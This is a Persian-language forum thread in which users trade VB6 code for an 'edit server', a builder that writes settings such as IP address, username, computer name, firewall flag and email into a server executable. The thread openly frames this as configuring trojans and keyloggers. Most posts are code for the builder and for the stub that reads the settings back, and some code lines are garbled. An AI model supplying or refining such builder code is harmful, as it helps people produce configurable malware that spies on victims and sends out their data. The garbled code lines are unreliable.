آموزش ساخت ادیت سرور

[ΛΛ Θ l-l $ Σ Ω]

سلام
آموزش ساخت ادیت سرور رو می خواستم توی اینترنت خیلی سرچ کردم اما چیز بدرد بخوری نبود اگه میشه یه توضیحی بدید
ممنون

[sayberiya]

آره ایول منم گشتم هیچی نبود.اگه میشه ساخت ادیت سرور برای تروجان و کیلاگر باشه بهتره

[yeketaz]

با سلام به دوستان

من تصمیم دارم اولین پستم را اینجا بنویسم

اولا آموزش ساخت یک ادیت سرور یه کوچولو طولانیه

پس بهتره عمده ترین مشکلت رو توی ساخت یک ادیت سرور بنویسی

که مثلا توی تغییر آیکون یا ذخیره اطلاعات و یا ... مشکل داری

تا من هر مطلبی خواستی در اختیارت بزارم

[ΛΛ Θ l-l $ Σ Ω]

اگه میشه این ها رو توضیح بدید که چی کار میکنن

کد:

[size=medium]Edit Server[/size]:

On Local Error GoTo errTrap

Dim BeginP As Long

Dim Bag As New PropertyBag

Dim Temp As Variant

Dim mahmoud() As Byte

Dim er As String

With Bag

.WriteProperty "id", id.Text

.WriteProperty "force", force.Value

.WriteProperty "dial", dial.Value

.WriteProperty "user", user.Value

.WriteProperty "com", com.Value

.WriteProperty "fire", fire.Value

.WriteProperty "IP", ip.Value

.WriteProperty "image", preview.Image1.Picture

    End With

    Open App.Path + "\" + "serv.exe" For Binary As #2

    mahmoud = LoadResData(101, "CUSTOM")

    Put #2, , mahmoud()

    Close #2

     FileCopy App.Path & "\serv.exe", App.Path & "\" & SrvName.Text
  

    Open App.Path & "\" & SrvName.Text For Binary As #1

        BeginP = LOF(1)

                
        Temp = Bag.Contents

                
        Seek #1, LOF(1)

        Put #1, , Temp

        Put #1, , BeginP

    Close #1

  

  Kill App.Path + "\" + "serv.exe"

  Exit Sub



errTrap:

MsgBox Err.Description, vbCritical, "Error"

در اينجا تمام اطلاعات در يك Property Bag نوشته مي شود و بعد هم مي ره داخل سرور!

فقط بايد بدونيد كه من ابتدا ريسورس فايل سرور رو داخل اديت سرور قرار دادم. براي اين كارابتدا از قسمت Add-in Manager ، VB6 Resource Editor رو فغال كنيد .بعد رو كليك كنيد . حالا Add Custom Resource رو بزنيد و فايل سرور رو انتخاب كنيد.مي تونيد اسم اين ريسورس رو هم عوض كنيد البته من همون 101 رو به صورت پيشفرض انتخاب كردم.قسمتهايي هم كه در كد بالا خط كشيدم مربوط به لود كردن همين ريسورس و تبديل آن به فايل اجرايي است.

حالا كدهاي مربوط به سرور و نحوه ي خوندن اطلاعات رو بررسي مي كنيم.

کد:

[size=medium]Server[/size]:

On Local Error Resume Next

Dim BeginP As Long

Dim Temp As Variant

Dim bArr() As Byte

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1

Get #1, LOF(1) - 3, BeginP

Seek #1, BeginP

        Get #1, , Temp

        

        Arr = Temp

        Bag.Contents = Arr

        Bag.WriteProperty "LOF", LOF(1)

        Bag.WriteProperty "BeginPos", BeginPos



   Close #1



    With Bag

    ID.Caption = .ReadProperty("id")

     FileNameInstall.Caption = .ReadProperty("filename")

     Username.Value = .ReadProperty("user")

      Computername.Value = .ReadProperty("com")

      Firewall.Value = .ReadProperty("fire")

Rand.Enabled = .ReadProperty("rand")

End With

[ΛΛ Θ l-l $ Σ Ω]

با سلام به دوستان

من تصمیم دارم اولین پستم را اینجا بنویسم

اولا آموزش ساخت یک ادیت سرور یه کوچولو طولانیه

پس بهتره عمده ترین مشکلت رو توی ساخت یک ادیت سرور بنویسی

که مثلا توی تغییر آیکون یا ذخیره اطلاعات و یا ... مشکل داری

تا من هر مطلبی خواستی در اختیارت بزارم

سلام
من می خوام آدرس ایمیل سرور رو با ادیت سرور تغییر بدم همین

[yeketaz]

آقا محسن ممنون از توضیحاتت

آدرس ایمیل رو هم می تونی از طریق PropertyBag تغییر بدی یعنی اول توی اون بنویسی و سپس از توی سرور

ایمیل رو بخونی.

مثلا:

Dim Databag as new PropertyBag

Databag.writeproperty "Email",Text1.text

بعد هم کد درون سرور

("Email=Databag.ReadProperty ("Email

البته استفاده از این روش با اینکه کار رو بسیار راحت می کنه یه مشکل داره که احتمالا زیاد شنیدی و

می دونی که پس از پک شدن از کار میفته

می تونی از روش jps VM هم استفاده کنی مثل:

"appc = App.Path + "\" + App.EXEName + ".exe
Open appc For Binary As 1
Seek #1, 20000
Put #1, , Text1.Text
Close #1

بعد هم از توی سرور می خونی :

Dim Email as string
"appc = App.Path + "\" + App.EXEName + ".exe
Open appc For Binary As 1
Seek #1, 20000
Get #1, , Email
Close #1

متغیر Email حوی آدرس ایمیل خواهد بود

البته این روش هم مشلات خوش را دارد و باید خیلی به مکانی ذخیره سازی اطلاعات که اینجا 20000 است دقت کنی

روش های دیگری هم اگر هست من بلد نیستم اگر کسی بلده بگه تا ما هم فیض ببریم

اگر کسی جای از کدها رو نفهمید بگه

(((((((((((((چون رکات علم آموزش آن آست)))))))))))))

[ΛΛ Θ l-l $ Σ Ω]

سلام yeketaz از توضیحات ممنون
اگه میشه یه مثال برام بزن ، یه آدرس ایمیل رو ادیت کنی
ممنون

[yeketaz]

اگه میشه یه مثال برام بزن ، یه آدرس ایمیل رو ادیت کنی

کد های ادیت سرور

Dim File() As Byte
Dim DataTemp As Variant
Dim BeginPos As Long
Dim DataBag As New PropertyBag
File() = LoadResData(101, "CUSTOM")
DataBag.WriteProperty "Email", Text1.Text
DataTemp = DataBag.Contents
Open App.Path + "\Server.exe" For Binary As 1
Put #1, , File()
Seek #1, LOF(1)
BeginPos = LOF(1)
Put #1, , DataTemp
Put #1, , BeginPos
Close #1

و کد های سرور:

Dim DataTemp As Variant
Dim Email As String
Dim BeginPos As Long
Dim ByteArr As Byte
Dim DataBag As New PropertyBag
Open App.Path + "\" + App.EXEName + ".exe" For Binary As 1
Get #1, LOF(1) - 3, BeginPos
Seek #1, BeginPos
Get #1, , DataTemp
ByteArr = DataTemp
DataBag.Contents = ByteArr
Close #1
Email = DataBag.ReadProperty("Email")

البته ممکن کد بهم ریخته باشه همه کدها را در ویژوال بیسیک کپی کن

درست می شه

[ΛΛ Θ l-l $ Σ Ω]

سلام
این خط برنامت ارور میده نشد

کد:

Get #1, LOF(1) - 3, BeginPos

-----------------------------------------------------------------------------------
به نگاه به برنامه من بنداز ببین مشکلش کجاست؟
6 7 کلمه بیشتر نمشه وارد کرد ، و کلمه قبلی پاک نمیشه

[yeketaz]

دوست من این کد وقتی اجرا می شه که فایل توسط ادیت سرور ادیت و اطلاعات آخر اون نوشته شده باشه!!!!!!

پس همین طوری نمی تونی اونو اجرا کنی

و این خط خیلی مهمه چون محل ذخیره سازی اطلاعات رو می ده و اگر اشتباه بشه کل برنامه بر فناست

------------------------------------------------------------------------------------------------------------------

برنامه ات را هم برداشتم که ببینم مشکلش چیه

[yeketaz]

برنامه ات را دیدم فکر کنم می خوای اطلاعات Text1 رو توی فایل نوشته و سپس از اون بخونی

این دو تا برنامه (EditServer و Server)هیچ ربطی به هم ندارن

پس انتظار خوندن اطلاعات را هم نداشته باش

من خودم برات یه برنامه می نویسم با تمام توضیحات تا کاملا متوجه بشی